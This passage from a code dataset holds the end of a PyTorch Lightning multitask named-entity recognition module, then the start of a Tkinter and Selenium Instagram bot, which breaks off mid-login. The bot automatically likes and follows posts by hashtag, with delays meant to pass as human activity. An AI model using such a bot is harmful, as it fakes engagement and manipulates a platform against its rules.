self.decoder.get(\"n_labels\", -1) is None:\n                self.decoder[\"n_labels\"] = len(self.preprocessor.vocabularies[\"label\"].values)\n            self.decoder = get_instance(self.decoder)\n\n    def setup(self, stage='fit'):\n        if stage == 'fit':\n            if any(voc.training for voc in self.preprocessor.vocabularies.values()):\n                for sample in self.train_dataloader():\n                    pass\n\n                self.preprocessor.vocabularies.eval()\n                self.init_modules()\n\n            config = get_config(self)\n            self.hparams = config\n            self.trainer.gradient_clip_val = self.gradient_clip_val\n            self.logger.log_hyperparams(self.hparams)\n\n            if self.init_labels_bias:\n                labels_count = torch.zeros(len(self.preprocessor.vocabularies[\"label\"].values))\n                candidates_count = 0\n                dl = self.train_dataloader()\n                assert has_len(dl)\n                for batch in dl:\n                    for sample in batch:\n                        for label in sample[\"entities_label\"]:\n                            labels_count[label] += 1\n                        candidates_count += (len(sample[\"words_mask\"]) * (len(sample[\"words_mask\"]) + 1)) // 2\n                frequencies = labels_count / candidates_count\n                self.decoder.bias.data = (torch.log(frequencies) - torch.log1p(frequencies)).to(self.decoder.bias.data.device)\n\n    def preprocess(self, data, split='train'):\n        prep_list = list(self.preprocessor(data, chain=True))\n        return prep_list\n\n    def forward(self, inputs, return_loss=False):\n        self.last_inputs = inputs\n        device = next(self.parameters()).device\n        input_tensors = self.preprocessor.tensorize(inputs, device=device)\n        embeds = torch.cat([word_encoder(input_tensors).rename(\"sample\", \"word\", \"dim\") for word_encoder in self.word_encoders], dim=\"dim\")\n\n        if self.embedding_batch_norm is not None:\n            embeds = self.embedding_batch_norm(embeds, input_tensors[\"words_mask\"].rename(\"sample\", \"word\"))\n        results = self.decoder(embeds, input_tensors, return_loss=return_loss)\n\n        preds = [[] for _ in range(len(embeds))]\n        for doc_id, begin, end, label in zip(results[\"doc_ids\"].tolist(), results[\"begins\"].tolist(), results[\"ends\"].tolist(), results[\"labels\"].tolist()):\n            preds[doc_id].append((begin, end, label))\n        gold = [list(zip(sample[\"entities_begin\"], sample[\"entities_end\"], sample[\"entities_label\"])) for sample in inputs]\n        return {\n            \"preds\": preds,\n            \"gold\": gold,\n            **results,\n        }\n\n    def training_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n        self.train_metric(outputs['preds'], outputs['gold'])()\n        return {'loss': outputs[\"loss\"], 'preds': outputs[\"preds\"], \"inputs\": inputs}\n\n    def training_epoch_end(self, outputs):\n        self.log_dict(self.train_metric.compute())\n        loss = sum(output[\"loss\"] * len(output[\"inputs\"]) for output in outputs) / sum(len(output[\"inputs\"]) for output in outputs)\n        self.log(\"train_loss\", loss)\n        self.log(\"main_lr\", self.optimizers().param_groups[0][\"lr\"])\n        self.log(\"top_lr\", self.optimizers().param_groups[1][\"lr\"])\n        self.log(\"bert_lr\", self.optimizers().param_groups[2][\"lr\"])\n\n    def validation_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n        self.val_metric(outputs['preds'], outputs['gold'])\n        return {'loss': outputs[\"loss\"], 'preds': outputs[\"preds\"], \"inputs\": inputs}\n\n    def validation_epoch_end(self, outputs):\n        self.log_dict(self.val_metric.compute())\n        loss = sum(output[\"loss\"] * len(output[\"inputs\"]) for output in outputs) / sum(len(output[\"inputs\"]) for output in outputs)\n        self.log(\"val_loss\", loss)\n\n    def test_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n        self.test_metric(outputs['preds'], outputs['gold'])\n        return {'loss': outputs[\"loss\"], 'preds': outputs[\"preds\"], \"inputs\": inputs}\n\n    def test_epoch_end(self, outputs):\n        self.log_dict(self.test_metric.compute())\n        loss = sum(output[\"loss\"] * len(output[\"inputs\"]) for output in outputs) / sum(len(output[\"inputs\"]) for output in outputs)\n        self.log(\"test_loss\", loss)\n\n    def configure_optimizers(self):\n        bert_params = list(self.word_encoders[1].parameters())\n        top_params = self.decoder.top_params()\n        main_params = [p for p in self.parameters() if not any(p is q for q in bert_params) and not any(p is q for q in top_params)]\n        if self.use_lr_schedules:\n            max_steps = self.trainer.max_epochs * len(self.train_dataloader())\n        optimizer = ScheduledOptimizer(self.optimizer_cls([\n            {\"params\": main_params,\n             \"lr\": self.main_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=0, total_steps=max_steps) if self.use_lr_schedules else []},\n            {\"params\": top_params,\n             \"lr\": self.top_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=0, total_steps=max_steps) if self.use_lr_schedules else []},\n            {\"params\": bert_params,\n             \"lr\": self.bert_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=self.warmup_rate, total_steps=max_steps) if self.use_lr_schedules else []},\n        ]))\n        return optimizer\n\n    @mappable\n    def predict(self, doc):\n        doc_entities = []\n        for batch in batchify(self.preprocessor(doc, only_text=True), self.batch_size):\n            results = self(batch)\n            for sentence_entities, prep_sample in zip(results[\"preds\"], batch):\n                sentence = prep_sample[\"original\"]\n                sentence_begin = sentence[\"begin\"] if \"begin\" in sentence else 0\n                for begin, end, label in sentence_entities:\n                    begin = prep_sample[\"words_begin\"][begin]\n                    end = prep_sample[\"words_end\"][end]\n                    doc_entities.append({\n                        \"entity_id\": len(doc_entities),\n                        \"fragments\": [{\n                                          \"begin\": begin + sentence_begin,\n                                          \"end\": end + sentence_begin,\n                                      } if \"begin\" in sentence else {\"begin\": begin, \"end\": end}],\n                        \"label\": self.preprocessor.vocabularies[\"label\"].values[label]\n                    })\n        return {\n            \"doc_id\": doc[\"doc_id\"],\n            \"text\": doc[\"text\"],\n            \"entities\": doc_entities,\n        }\n\n    save_pretrained = save_pretrained\n\n\n@register(\"ner_mtl\")\nclass NER_MTL(PytorchLightningBase):\n    def __init__(\n          self,\n          preprocessor,\n          word_encoders,\n          decoders,\n          use_embedding_batch_norm=False,\n          seed=42,\n          data_seed=None,\n\n          init_labels_bias=True,\n          batch_size=24,\n          top_lr=1.5e-3,\n          main_lr=1.5e-3,\n          bert_lr=4e-5,\n          gradient_clip_val=5.,\n          warmup_rate=0.1,\n          use_lr_schedules=True,\n          optimizer_cls=transformers.AdamW,\n          share_contextualizers=False,\n    ):\n        \"\"\"\n\n        :param preprocessor: dict\n            Preprocessor module parameters\n        :param word_encoders: list of dict\n            Word encoders module parameters\n        :param decoder: dict\n            Decoder module parameters\n        :param use_embedding_batch_norm: bool\n            Apply batch norm on features computed from word_encoders ?\n        :param seed: int\n            Seed for the model weights\n        :param data_seed: int\n            Seed for the data shuffling\n        :param init_labels_bias: bool\n            Initialize the labels bias vector with log frequencies of the labels in the dataset\n        :param batch_size: int\n            Batch size\n        :param top_lr: float\n            Top modules parameters' learning rate, typically higher than other parameters learning rates\n        :param main_lr: float\n            Intermediate modules parameters' learning rate\n        :param bert_lr: float\n            BERT modules parameters' learning rate\n        :param gradient_clip_val:\n            Use gradient clipping\n        :param warmup_rate: float\n            Apply warmup for how much of the training (defaults to 0.1 = 10%)\n        :param use_lr_schedules: bool\n            Use learning rate schedules\n        :param optimizer_cls: str or type\n            Torch optimizer class to use\n        \"\"\"\n        super().__init__()\n\n        monkey_patch()\n\n        if data_seed is None:\n            data_seed = seed\n        self.seed = seed\n        self.data_seed = data_seed\n\n        self.init_labels_bias = init_labels_bias\n\n        self.gradient_clip_val = gradient_clip_val\n        self.top_lr = top_lr\n        self.main_lr = main_lr\n        self.bert_lr = bert_lr\n        self.use_lr_schedules = use_lr_schedules\n        self.warmup_rate = warmup_rate\n        self.batch_size = batch_size\n        self.optimizer_cls = getattr(import_module(optimizer_cls.rsplit(\".\", 1)[0]), optimizer_cls.rsplit(\".\", 1)[1]) if isinstance(optimizer_cls, str) else optimizer_cls\n\n        self.preprocessor = get_instance(preprocessor)\n\n        # Init postponed to setup\n        self.word_encoders = word_encoders if isinstance(word_encoders, list) else word_encoders.values()\n        self.embedding_batch_norms = {}\n        self.decoders = decoders\n\n        self.use_embedding_batch_norm = use_embedding_batch_norm\n\n        self.train_metrics = {task_name: PrecisionRecallF1Metric(prefix=f\"{task_name}_train_\") for task_name in self.decoders.keys()}\n        self.val_metrics = {task_name: PrecisionRecallF1Metric(prefix=f\"{task_name}_val_\") for task_name in self.decoders.keys()}\n        self.test_metrics = {task_name: PrecisionRecallF1Metric(prefix=f\"{task_name}_test_\") for task_name in self.decoders.keys()}\n\n        self.share_contextualizers = share_contextualizers\n\n        if not any(voc.training for voc in self.preprocessor.vocabularies.values()):\n            self.init_modules()\n\n    def init_modules(self):\n        # Init modules that depend on the vocabulary\n        with fork_rng(self.seed):\n            word_encoders = self.word_encoders\n            for word_encoder in word_encoders:\n                if word_encoder.get(\"n_chars\", -1) is None:\n                    word_encoder[\"n_chars\"] = len(self.preprocessor.vocabularies[\"char\"].values)\n            self.word_encoders = torch.nn.ModuleList([\n                get_instance(word_encoder)\n                for word_encoder in self.word_encoders\n            ])\n            for task_name, decoder in self.decoders.items():\n                self.embedding_batch_norms[task_name] = FlatBatchNorm(decoder[\"contextualizer\"][\"input_size\"]) if self.use_embedding_batch_norm else None\n                if decoder.get(\"n_labels\", -1) is None:\n                    decoder[\"n_labels\"] = len(self.preprocessor.vocabularies[f\"{task_name}_label\"].values)\n\n                if self.share_contextualizers == \"hybrid\":\n                    decoder[\"private_contextualizer\"] = decoder[\"contextualizer\"]\n\n                self.decoders[task_name] = get_instance(decoder)\n\n            self.decoders = torch.nn.ModuleDict({\n                task_name: module for task_name, module in self.decoders.items()\n            })\n\n            if self.share_contextualizers == \"hybrid\":\n                first_key, first_decoder = next(iter(self.decoders.items()))\n                shared_contextualizer = first_decoder.contextualizer\n                for task_name in self.decoders.keys():\n                    if task_name!=first_key:\n                        # Add one private contextualizer per task -> should change the forward\n                        self.decoders[task_name].private_contextualizer = self.decoders[task_name].contextualizer\n                        self.decoders[task_name].contextualizer = shared_contextualizer\n            elif self.share_contextualizers:\n                first_key, first_decoder = next(iter(self.decoders.items()))\n                shared_contextualizer = first_decoder.contextualizer\n                for task_name in self.decoders.keys():\n                    if task_name!=first_key:\n                        self.decoders[task_name].contextualizer = shared_contextualizer\n\n    def setup(self, stage='fit'):\n        if stage == 'fit':\n\n            if any(voc.training for voc in self.preprocessor.vocabularies.values()):\n                for sample in self.train_dataloader():\n                    pass\n\n                self.preprocessor.vocabularies.eval()\n                self.init_modules()\n\n            config = get_config(self)\n            self.hparams = config\n            self.trainer.gradient_clip_val = self.gradient_clip_val\n            self.logger.log_hyperparams(self.hparams)\n\n            if self.init_labels_bias:\n                dl = self.train_dataloader()\n                assert has_len(dl)\n                for task_name in self.decoders.keys():\n                    labels_count = torch.zeros(len(self.preprocessor.vocabularies[f\"{task_name}_label\"].values))\n                    candidates_count = 0\n                    for batch in dl[task_name]:\n                        for sample in batch:\n                            for label in sample[\"entities_label\"]:\n                                labels_count[label] += 1\n                            candidates_count += (len(sample[\"words_mask\"]) * (len(sample[\"words_mask\"]) + 1)) // 2\n                    frequencies = labels_count / candidates_count\n                    self.decoders[task_name].bias.data = (torch.log(frequencies) - torch.log1p(frequencies)).to(self.decoders[task_name].bias.data.device)\n\n    def preprocess(self, data, split='train', task_name=None):\n        if split == 'train':\n            prep_dict = {task_name: list(self.preprocessor(dataset.train_data, task_name=task_name, chain=True)) for task_name, dataset in data.items() }\n            return prep_dict\n        else:\n            return list(self.preprocessor(getattr(data, f\"{split}_data\"), task_name=task_name, chain=True))\n\n    def forward(self, inputs, return_loss=False):\n        self.last_inputs = inputs\n        device = next(self.parameters()).device\n        input_tensors = self.preprocessor.tensorize(inputs, device=device, mtl=True)\n\n        embeds = {\n            task_name: torch.cat([word_encoder(inp_tens).rename(\"sample\", \"word\", \"dim\") for word_encoder in self.word_encoders], dim=\"dim\") \n            for task_name, inp_tens in input_tensors.items()}\n\n        if self.use_embedding_batch_norm:\n            embeds = {\n                task_name: self.embedding_batch_norms[task_name](emb, input_tensors[task_name][\"words_mask\"].rename(\"sample\", \"word\"))\n                for task_name, emb in embeds.items()}\n\n        results = {\n            task_name: self.decoders[task_name](embeds[task_name], input_tensors[task_name], return_loss=return_loss)\n            for task_name in self.decoders.keys()}\n\n        preds = {task_name: [[] for _ in range(len(embeds[task_name]))] for task_name in self.decoders.keys()}\n\n        for task_name in self.decoders.keys():\n            for doc_id, begin, end, label in zip(results[task_name][\"doc_ids\"].tolist(), results[task_name][\"begins\"].tolist(), results[task_name][\"ends\"].tolist(), results[task_name][\"labels\"].tolist()):\n                preds[task_name][doc_id].append((begin, end, label))\n\n        gold = {\n            task_name: [list(zip(sample[\"entities_begin\"], sample[\"entities_end\"], sample[\"entities_label\"])) for sample in inputs[task_name]]\n            for task_name in self.decoders.keys()}\n\n        return {task_name: {\n            \"preds\": preds[task_name],\n            \"gold\": gold[task_name],\n            **results[task_name],\n        } for task_name in self.decoders.keys()}\n\n    def training_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n\n        for task_name, tm in self.train_metrics.items():\n            tm(outputs[task_name]['preds'], outputs[task_name]['gold'])\n\n        loss = sum([outputs[task_name][\"loss\"] for task_name in outputs.keys()])\n\n        # differentiate between global / task losses\n        task_loss = {task_name: outputs[task_name][\"loss\"] for task_name in outputs.keys()}\n        task_preds = {task_name: outputs[task_name][\"preds\"] for task_name in outputs.keys()}\n        task_inputs = {task_name: inputs[task_name] for task_name in outputs.keys()}\n        \n        return {'loss': loss, 'preds': task_preds, \"inputs\": task_inputs, \"task_loss\": task_loss} \n\n    def training_epoch_end(self, outputs):\n\n        task_weights = None#{\"quaero\": 0.9, \"cas_pos\": 0.1}\n\n        input_lengths = [sum(len(output[\"inputs\"][task_name]) for task_name in outputs[0]['preds'].keys()) for output in outputs] \n        if sum(input_lengths) > 0:\n            # moyenne pondérée\n\n            if task_weights is not None:\n                total_loss = 0\n                total_length = 0\n\n                for task_name in outputs[0]['preds'].keys():\n                    for i, output in enumerate(outputs):\n                        total_loss += outputs[i]['loss'] * len(output['inputs'][task_name]) * task_weights[task_name]\n                        total_length += len(output['inputs'][task_name])\n\n                total_loss = total_loss / total_length\n            else:\n                total_loss = sum(outputs[i][\"loss\"] * inp_len for i, inp_len in enumerate(input_lengths)) / sum(input_lengths)\n        else:\n            total_loss = 1\n        self.log(f\"train_loss\", total_loss)\n\n        for task_name in outputs[0]['preds'].keys():\n            self.log_dict(self.train_metrics[task_name].compute())\n            task_loss = sum(out[\"task_loss\"][task_name] * len(out[\"inputs\"][task_name]) for out in outputs) / sum(len(out[\"inputs\"][task_name]) for out in outputs)\n            self.log(f\"{task_name}_train_loss\", task_loss)\n\n        self.log(\"main_lr\", self.optimizers().param_groups[0][\"lr\"])\n        self.log(\"top_lr\", self.optimizers().param_groups[1][\"lr\"])\n        self.log(\"bert_lr\", self.optimizers().param_groups[2][\"lr\"])\n\n    def validation_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n        for task_name, vm in self.val_metrics.items():\n            vm(outputs[task_name]['preds'], outputs[task_name]['gold'])\n\n        loss = sum([outputs[task_name][\"loss\"] for task_name in outputs.keys()])\n\n        task_loss = {task_name: outputs[task_name][\"loss\"] for task_name in outputs.keys()}\n        task_preds = {task_name: outputs[task_name][\"preds\"] for task_name in outputs.keys()}\n        task_inputs = {task_name: inputs[task_name] for task_name in outputs.keys()}\n        \n        return {'loss': loss, 'preds': task_preds, \"inputs\": task_inputs, \"task_loss\": task_loss} \n\n    def validation_epoch_end(self, outputs):\n        input_lengths = [sum(len(output[\"inputs\"][task_name]) for task_name in outputs[0]['preds'].keys()) for output in outputs] \n        if sum(input_lengths) > 0:\n            total_loss = sum(outputs[i][\"loss\"] * inp_len for i, inp_len in enumerate(input_lengths)) / sum(input_lengths)\n        else:\n            total_loss = 1\n        self.log(f\"val_loss\", total_loss)\n\n        if len(outputs):\n            for task_name in outputs[0]['preds'].keys():\n                self.log_dict(self.val_metrics[task_name].compute())\n                task_loss = sum(out[\"task_loss\"][task_name] * len(out[\"inputs\"][task_name]) for out in outputs) / sum(len(out[\"inputs\"][task_name]) for out in outputs)\n                self.log(f\"{task_name}_val_loss\", task_loss)\n\n        else:\n            print(\"NO OUTPUTS\")\n    def test_step(self, inputs, batch_idx):\n        outputs = self(inputs, return_loss=True)\n        for task_name, tm in self.test_metrics.items():\n            tm(outputs[task_name]['preds'], outputs[task_name]['gold'])\n\n        loss = sum([outputs[task_name][\"loss\"] for task_name in outputs.keys()])\n\n        task_loss = {task_name: outputs[task_name][\"loss\"] for task_name in outputs.keys()}\n        task_preds = {task_name: outputs[task_name][\"preds\"] for task_name in outputs.keys()}\n        task_inputs = {task_name: inputs[task_name] for task_name in outputs.keys()}\n        \n        return {'loss': loss, 'preds': task_preds, \"inputs\": task_inputs, \"task_loss\": task_loss} \n\n    def test_epoch_end(self, outputs):\n        input_lengths = [sum(len(output[\"inputs\"][task_name]) for task_name in outputs[0]['preds'].keys()) for output in outputs] \n        if sum(input_lengths) > 0:\n            total_loss = sum(outputs[i][\"loss\"] * inp_len for i, inp_len in enumerate(input_lengths)) / sum(input_lengths)\n        else:\n            total_loss = 1\n        self.log(f\"test_loss\", total_loss)\n\n        if len(outputs):\n            for task_name in outputs[0]['preds'].keys():\n                self.log_dict(self.test_metrics[task_name].compute())\n                task_loss = sum(out[\"task_loss\"][task_name] * len(out[\"inputs\"][task_name]) for out in outputs) / sum(len(out[\"inputs\"][task_name]) for out in outputs)\n                self.log(f\"{task_name}_test_loss\", task_loss)\n\n    def configure_optimizers(self):\n        bert_params = list(self.word_encoders[1].parameters())\n        top_params = {task_name:decoder.top_params() for task_name, decoder in self.decoders.items()}\n        main_params = [p for p in self.parameters() if not any(p is q for q in bert_params) and not any(p is q for _, tp in top_params.items() for q in tp)]\n        if self.use_lr_schedules:\n            max_steps = self.trainer.max_epochs * len(self.train_dataloader())\n        optimizer = ScheduledOptimizer(self.optimizer_cls([\n            {\"params\": main_params,\n             \"lr\": self.main_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=0, total_steps=max_steps) if self.use_lr_schedules else []},\n            {\"params\": bert_params,\n             \"lr\": self.bert_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=self.warmup_rate, total_steps=max_steps) if self.use_lr_schedules else []},\n        ] + [\n            {\"params\": tp,\n             \"lr\": self.top_lr,\n             \"schedules\": LinearSchedule(path=\"lr\", warmup_rate=0, total_steps=max_steps) if self.use_lr_schedules else [],\n             } for tp in top_params.values()]\n        ))\n        return optimizer\n\n    @mappable\n    def predict(self, doc):\n        doc_entities = []\n        for batch in batchify(self.preprocessor(doc, only_text=True), self.batch_size):\n            results = self(batch)\n            for sentence_entities, prep_sample in zip(results[\"preds\"], batch):\n                sentence = prep_sample[\"original\"]\n                sentence_begin = sentence[\"begin\"] if \"begin\" in sentence else 0\n                for begin, end, label in sentence_entities:\n                    begin = prep_sample[\"words_begin\"][begin]\n                    end = prep_sample[\"words_end\"][end]\n                    doc_entities.append({\n                        \"entity_id\": len(doc_entities),\n                        \"fragments\": [{\n                                          \"begin\": begin + sentence_begin,\n                                          \"end\": end + sentence_begin,\n                                      } if \"begin\" in sentence else {\"begin\": begin, \"end\": end}],\n                        \"label\": self.preprocessor.vocabularies[\"label\"].values[label]\n                    })\n        return {\n            \"doc_id\": doc[\"doc_id\"],\n            \"text\": doc[\"text\"],\n            \"entities\": doc_entities,\n        }\n\n    save_pretrained = save_pretrained\n","repo_name":"YoannT/Pyner_MTL","sub_path":"pyner/modules.py","file_name":"modules.py","file_ext":"py","file_size_in_byte":50038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27237956340","text":"from tkinter import *\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.common.exceptions import NoSuchElementException\r\n\r\nimport sys\r\nfrom random import *\r\nfrom time import *\r\nfrom threading import *\r\n\r\n\r\n\r\nclass GUI:\r\n\tdef __init__(self):\r\n\t\tself.root = Tk()\r\n\t\troot = self.root\r\n\t\troot.iconbitmap('instabot.ico')\r\n\t\troot.winfo_toplevel().title(\"Imma Hooman\")\r\n\t\tWIDTH = 300\r\n\t\tHEIGHT = 1\r\n\r\n\t\tminsize = Canvas(root, width=WIDTH, height=HEIGHT).pack()\r\n\t\t# ----------------------------------------------------\r\n\t\t# LOG IN FIELDS\r\n\t\tusernameText = Label(root, text='username').pack(side='top')\r\n\t\tself.usernameEntry = Entry(root, bg='grey')\r\n\t\tself.usernameEntry.pack(side='top')\r\n\r\n\t\tpasswordText = Label(root, text='Password').pack(side='top')\r\n\t\tself.passwordEntry = Entry(root, bg='grey', show=\"*\")\r\n\t\tself.passwordEntry.pack(side='top')\r\n\r\n\r\n\t\t# ----------------------------------------------------\r\n\t\t# CHOOSE IF VIA USERNAME OR FACEBOOK\r\n\t\tself.invalidEntyFlag = False # WAS WARNING ALREADYDISPLAYED\r\n\t\tself.isLoggingIn = False\r\n\t\t\r\n\t\tloginButton = Button(root, bg='#99ddff', text='Log In', command=self.createLogInThread).pack(side='top')\r\n\r\n\t\tloginMode = self.loginMode = StringVar()\r\n\t\tusernameRadio=Radiobutton(root, text=\"Username Login\", variable=loginMode, value='username')\r\n\t\tusernameRadio.pack()\t\t\r\n\t\tfacebookRadio=Radiobutton(root, text=\"Facebook Login\", variable=loginMode, value='facebook')\r\n\t\tfacebookRadio.pack()\r\n\t\tusernameRadio.select()\r\n\t\t\r\n\t\t# ----------------------------------------------------\r\n\t\t# hashtags\r\n\t\tusernameText = Label(root, text='hashtags without #, devide by space').pack(side='top')\r\n\t\tself.hashtagsEntry = Entry(root, bg='grey')\r\n\t\tself.hashtagsEntry.pack(side='top')\r\n\t\t# ----------------------------------------------------\r\n\t\t# CHOOSE RUN MODE | l-like, o-follow\r\n\t\trunMode = self.runMode = StringVar()\r\n\t\tself.lModeRadio=Radiobutton(root, variable=runMode, command=lambda: self.toggleSpinner('l'), value=\"l\", text=\"Like\")\r\n\t\tself.lModeRadio.pack()\r\n\t\tself.fModeRadio=Radiobutton(root, variable=runMode, command=lambda: self.toggleSpinner('f'), value=\"f\", text=\"follow\").pack()\r\n\t\tself.lfModeRadio=Radiobutton(root, variable=runMode, command=lambda: self.toggleSpinner('lf'), value=\"lf\", text=\"Like & follow\").pack()\r\n\t\tself.lModeRadio.select()\r\n\t\t#followChanceEntry = Entry(root, bg='grey').pack()\r\n\t\tself.chanceValues = ['10%','20%','30%','40%','50%','60%','70%','80%','90%','100%']\r\n\t\tself.followChanceSpinbox = Spinbox(root, state = DISABLED, value='0%')\r\n\t\tself.followChanceSpinbox.pack()\r\n\r\n\t\t# ----------------------------------------------------\r\n\t\tself.likesCount=0\r\n\t\tself.followsCount=0\r\n\t\tself.followingAtStart=0\r\n\t\tself.likesCountStringVar = StringVar()\r\n\t\tself.likesCountStringVar.set('Likes count: 0')\t\r\n\t\tself.followsCountStringVar = StringVar()\r\n\t\tself.followsCountStringVar.set('Follows count: 0')\t\t\r\n\t\tself.followingAtStartStringVar = StringVar()\r\n\t\tself.followingAtStartStringVar.set('Followed at start: 0')\r\n\t\t\r\n\r\n\t\tlikeLabel = Label(root, textvariable=self.likesCountStringVar).pack(side='top')\r\n\t\tfollowLabel = Label(root, textvariable=self.followsCountStringVar).pack(side='top')\r\n\t\tfollowAtStartLabel = Label(root, textvariable=self.followingAtStartStringVar).pack(side='top')\r\n\t\t# ----------------------------------------------------\r\n\t\tself.isLoggedIn = False\r\n\t\tself.isRunning = False\r\n\t\trunButton = Button(root, text='Run',command=self.run).pack(side='top')\r\n\t\tstopButton = Button(root, text='Stop',command=self.stop).pack(side='top')\r\n\t# ----------------------------------------------------------------------------------\r\n\t# METHODS BELOW\r\n\r\n\t# ----------------------------------------------------------------------------------\r\n\t# GET INPUT VALUES | SET WAY OF LOGGING IN | RUN BOT LOGIN METHOD\r\n\tdef createLogInThread(self):\r\n\t\tif self.isLoggingIn == False:\r\n\t\t\tif self.isLoggedIn == False:\r\n\t\t\t\tself.logInThread = Thread(target=self.logIn).start()\r\n\t\t\telse:\r\n\t\t\t\tprint('Already logged in')\r\n\t\telse:\r\n\t\t\tprint('Still logging in')\r\n\r\n\tdef logIn(self):\r\n\t\t\tself.isLoggingIn = True\r\n\t\t\tusername = self.usernameEntry.get()\r\n\t\t\tpassword = self.passwordEntry.get()\r\n\t\t\ttext = 'Password or username is too short'\r\n\t\t\tinvalidEntry = Label(self.root, text=text, fg='red')\r\n\r\n\t\t\t# CHECK IF INPUT IS CORRECT IF NOT PUT A RED SIGN\r\n\t\t\tif (len(password) < 6 or len(username) == 0):\r\n\t\t\t\tif self.invalidEntyFlag == False:\r\n\t\t\t\t\tself.isLoggingIn = False\t\t\t \r\n\t\t\t\t\tinvalidEntry.pack(side='top')\r\n\t\t\t\t\tself.invalidEntyFlag = True\r\n\t\t\t\t\treturn\r\n\t\t\t\telse:\r\n\t\t\t\t\tself.isLoggingIn = False\r\n\t\t\t\t\treturn\r\n\r\n\t\t\t# INVOKE BOT LOGIN METHOD\r\n\t\t\tself.isLoggedIn = InstaBot.logIn(immaHooman, username, password, self.loginMode.get())\r\n\t\t\tif self.isLoggedIn == True:\r\n\t\t\t\tvalidEntry = Label(\r\n\t\t\t\t\tself.root, text='Logged in succesfully', fg='green').pack(side='top')\r\n\t\t\telse:\r\n\t\t\t\tinvalidEntry = Label(\r\n\t\t\t\t\tself.root, text='Wrong username or password', fg='red').pack(side='top')\r\n\t\t\tself.isLoggingIn = False\r\n\t\t\treturn\r\n\t\t\r\n\tdef run(self):\r\n\t\tif self.isLoggedIn == True:\r\n\t\t\tif self.isRunning == False:\r\n\t\t\t\tprint('Starting run method')\r\n\t\t\t\tself.isRunning = True\r\n\t\t\t\tself.runThread = Thread(target=InstaBot.run,\r\n\t\t\t\t\t\t\t\t\t\targs=[immaHooman,self.runMode.get()]).start()\r\n\t\t\telse:\r\n\t\t\t\tprint('Bot is already running')\t\t\r\n\t\telse:\r\n\t\t\tprint('Not logged in')\r\n\r\n\tdef getIsRunning(self):\r\n\t\tprint('getIsRunning: ' +  str(self.isRunning))\r\n\t\treturn self.isRunning\r\n\r\n\tdef stop(self):\r\n\t\tif self.isRunning == True:\r\n\t\t\tself.isRunning = False\r\n\t\telse:\r\n\t\t\tprint('Bot is not running')\r\n\t\t\t\r\n\tdef gethashtags(self):\r\n\t\thashtags = self.hashtagsEntry.get().split()\r\n\t\tif len(hashtags)==0:\r\n\t\t\thashtags=(\"fitness\",\"fit\", \"deadlift\", \"benchpress\", \"sbd\",\"strong\",\r\n\t\t\t\t\"powerliftingmotivation\",\"wkteam\",\"kfd\" \"polskadziewczyna\",\r\n\t\t\t\t\"polishgirl\", \"polishboy\", \"fitgirl\", \"fitboy\", \"training\",\r\n\t\t\t\t\"workout\", \"calistennics\", \"likeforlike\", \"squat\",\r\n\t\t\t\t\"powerlifter\", \"powerlifting\", \"weights\", \"warsaw\",\r\n\t\t\t\t\"warsawgirl\",\"like4like\")\r\n\t\treturn hashtags\r\n\r\n\tdef addCount(self, like, follow): \r\n\t\tif like > 0:\r\n\t\t\tself.likesCount+=like\r\n\t\t\tself.likesCountStringVar.set('Likes count: ' + str(self.likesCount))\r\n\t\t\tprint('Count of likes: '+ str(self.likesCount))\r\n\t\tif follow > 0:\r\n\t\t\tself.followsCount+=follow\r\n\t\t\tself.followsCountStringVar.set('Follows count: ' + str(self.followsCount))\r\n\t\t\tprint('Count of newly followed: '+ str(self.followsCount))\r\n\r\n\tdef setFollowingAtStart(self, count):\r\n\t\tself.followingAtStartStringVar.set('Followed at start: ' + str(count))\r\n\t\treturn\r\n\r\n\tdef toggleSpinner(self, mode):\r\n\t\tif mode == 'l':\r\n\t\t\tself.followChanceSpinbox.configure(state=DISABLED, value='0%')\r\n\t\telif mode == 'f':\r\n\t\t\tself.followChanceSpinbox.configure(state=DISABLED, value='100%')\r\n\t\telif mode == 'lf':\r\n\t\t\tself.followChanceSpinbox.configure(state=NORMAL,value=self.chanceValues)\r\n\r\n\tdef shouldFollow(self):\r\n\t\tchance = self.followChanceSpinbox.get()\r\n\t\tchance = int(chance[:-1])\r\n\t\treturn randint(0,100)<chance\r\n\r\nclass InstaBot:\r\n\r\n\tdef __init__(self):\r\n\t\tself.url = 'https://www.instagram.com/accounts/login/?source=auth_switcher'\r\n\r\n\tdef logIn(self, username, password, loginMode):\r\n\t\tbot = self.bot = webdriver.Chrome(\"chromedriver.exe\")\r\n\t\tbot.get(self.url)\r\n\t\tsleep(0.5)\r\n\t\t#FACEBOOK LOGIN\r\n\t\tif loginMode == 'facebook':\r\n\t\t\tfacebookButton = '//*[@id=\"react-root\"]/section/main/div/article/div/div[1]/div/form/div[6]/button'\r\n\t\t\tbot.find_element_by_xpath(facebookButton).click()\r\n\t\t\tsleep(0.5)\r\n\t\t\tbot.find_element_by_id('email').send_keys(username)\r\n\t\t\tbot.find_element_by_id('pass').send_keys(password)\r\n\t\t\tsleep(0.1)\r\n\t\t\tbot.find_element_by_name('login').click()\r\n\t\t\tsleep(0.5)\r\n\t\t\ttry:\r\n\t\t\t\tbot.find_element_by_name('login')\r\n\t\t\texcept NoSuchElementException:\r\n\t\t\t\tif self.checkPopUp():\r\n\t\t\t\t\treturn True\r\n\t\t\telse:\r\n\t\t\t\tpass\r\n\r\n\t\t#USERNAME LOGIN\r\n\t\telif loginMode == 'username':\r\n\t\t\tbot.find_element_by_name('username').send_keys(username)\r\n\t\t\tbot.find_element_by_name('password').send_keys(password)\r\n\t\t\tsleep(0.1)\r\n\t\t\tloginbuttonXpath = 